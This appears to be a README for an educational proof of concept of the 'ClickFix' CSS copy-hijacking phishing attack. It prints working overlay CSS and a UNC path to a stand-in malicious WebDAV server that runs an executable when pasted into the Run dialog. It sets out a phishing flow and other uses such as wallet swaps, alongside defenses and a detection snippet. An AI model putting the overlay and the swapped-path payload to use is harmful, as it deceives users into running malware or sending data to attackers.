This repository contains a proof of concept demonstrating the ClickFix attack technique - a CSS-based social engineering attack where visible text differs from the actual copied content. This technique exploits browser text selection and CSS positioning to deceive users into copying malicious content while believing they're copying legitimate information.
Based on the research shared by MalwareTech: https://www.linkedin.com/posts/malwaretech_heres-a-proof-of-concept-phishing-email-activity-7388266743720435712-9fo5
This implementation extends and documents the ClickFix technique for educational and defensive security purposes.
This is for educational and security research purposes only. This demonstrates the ClickFix attack technique - a real security vulnerability that has been exploited for phishing, social engineering, and malware distribution. Never use this technique for malicious purposes. Understanding this attack helps security professionals and developers build better defenses.
The ClickFix attack uses CSS to layer invisible, selectable text over visible text:
- Visible Layer: Displays legitimate-looking content (e.g., a local file path)
- Hidden Overlay: Contains malicious content positioned exactly over the visible text
- CSS Manipulation: The overlay is made transparent but remains selectable
- User Deception: When users select and copy, they capture the hidden overlay instead of the visible text
/* Visible text - what the user sees */
.visible-text {
padding: 12px 20px;
background-color: #f0f0f0;
border: 2px solid #ddd;
font-family: 'Courier New', monospace;
color: #333;
}
/* Hidden overlay - what gets copied */
.hidden-overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
padding: 12px 20px;
color: rgba(0, 0, 0, 0); /* Completely transparent */
background: transparent;
font-family: 'Courier New', monospace;
z-index: 10; /* Positioned above visible text */
user-select: text; /* Still selectable */
}
/* Selection styling to look normal */
.hidden-overlay::selection {
background-color: #0066cc;
color: transparent;
}position: absolute- Positions overlay on top of visible textcolor: rgba(0, 0, 0, 0)- Makes text completely transparentz-index: 10- Ensures overlay is above visible textuser-select: text- Keeps text selectable despite transparency::selectionpseudo-element - Styles the selection highlight
What the victim sees:
C:\Users\Public\Documents\Q4_Report_2025.pdf
What the victim actually copies:
\\webdav-server.malicious.com\share\update.exe
- Email Delivery: Victim receives HTML email appearing to be from IT support
- Social Engineering: Email instructs user to copy a file path to access a document
- Visual Deception: User sees a legitimate local Windows file path
- Copy Action: User selects and copies what appears to be the safe path
- Paste & Execute: User pastes into Run dialog (Win+R) or File Explorer
- Exploitation: Windows interprets the UNC path, connects to malicious WebDAV server, and attempts to execute the malware
- Browsers prioritize the topmost selectable element when determining what to copy
- CSS can make elements invisible while preserving their selectability
- The
::selectionpseudo-element can style selections to appear normal - No JavaScript required - pure CSS exploitation
- Users trust what they see on screen
- File paths appear technical and legitimate
- Copy-paste is considered a "safe" operation
- Most users don't verify clipboard contents before pasting
- Credential Harvesting: Display legitimate URL, copy phishing URL
- Malware Distribution: Display safe file path, copy malicious UNC path
- Command Injection: Display safe command, copy malicious script
- API Key Theft: Display example key, copy attacker's webhook URL
- Cryptocurrency Scams: Display one wallet address, copy attacker's address
- Always Paste into Notepad First: Verify clipboard contents before executing
- Check for UNC Paths: Be suspicious of paths starting with
\\ - Verify Email Sources: Confirm legitimacy through alternative channels
- Avoid Copy-Paste from Emails: Manually type sensitive paths or commands
- Use Plain Text Email Clients: Many strip dangerous HTML/CSS
-
Sanitize HTML/CSS in Emails:
// Strip dangerous CSS properties const dangerousProps = ['position', 'z-index', 'opacity', 'user-select'];
-
Content Security Policy (CSP):
<meta http-equiv="Content-Security-Policy" content="style-src 'self'">
-
Email Client Configuration:
- Disable HTML emails by default
- Strip absolute/relative positioning
- Remove transparency properties
- Limit z-index usage
-
User Education:
- Train users to recognize phishing attempts
- Promote clipboard verification habits
- Demonstrate this attack in security awareness training
- CSS Filtering: Block or strip dangerous CSS properties in HTML emails
- Warning Indicators: Flag emails with suspicious CSS patterns
- Sandbox Rendering: Render emails in isolated environments
- Plain Text Fallback: Offer plain text version prominently
- Plain Text Emails: No CSS support
- Strict Email Clients: Gmail, Outlook strip many CSS properties
- Mobile Devices: Selection behavior differs, may not work consistently
- Browser Extensions: Some security extensions detect this pattern
- Developer Tools: Inspecting element reveals the overlay
// Detect overlapping selectable elements
const detectOverlay = (element) => {
const rect = element.getBoundingClientRect();
const topElement = document.elementFromPoint(rect.x, rect.y);
return topElement !== element && topElement.style.zIndex > element.style.zIndex;
};proof_of_concept.eml # ClickFix attack HTML email demonstration
CSS_COPY_HIJACKING_README.md # This documentation
- Open
proof_of_concept.emlin a web browser or email client that supports HTML - Locate the file path field in the ClickFix demonstration
- Select and copy the text
- Paste into Notepad to see the actual copied content
- DO NOT paste into Run dialog or File Explorer - it contains a malicious path
- Bypasses Traditional Security: No malware in the email itself
- User Trust Exploitation: Leverages copy-paste as "safe" operation
- Wide Attack Surface: Any HTML-capable email client or web application
- Low Detection Rate: Security tools may not flag CSS-only attacks
- High Success Rate: Users rarely verify clipboard contents
Similar CSS-based attacks have been documented since the early 2010s, but remain effective due to:
- Evolving CSS capabilities
- Inconsistent email client security policies
- Low user awareness
- Difficulty in automated detection
- Deploy email filtering rules to strip dangerous CSS
- Update security awareness training materials
- Implement clipboard verification prompts for sensitive operations
- Browser-level clipboard permissions for HTML content
- Standardized email security policies across clients
- Visual indicators for clipboard content mismatches
- Operating system warnings for UNC path execution
- Original Research: MalwareTech LinkedIn Post - ClickFix Email Attack POC
- ClickFix Attack Technique Documentation
- OWASP: Social Engineering Attacks
- Microsoft: Email Security Best Practices
- CSS Specification: Selection and User Interaction
- WebDAV Security Considerations
- UNC Path Exploitation Techniques
This proof of concept is inspired by and based on the ClickFix attack technique research shared by MalwareTech, demonstrating how CSS overlay techniques can be exploited for phishing attacks.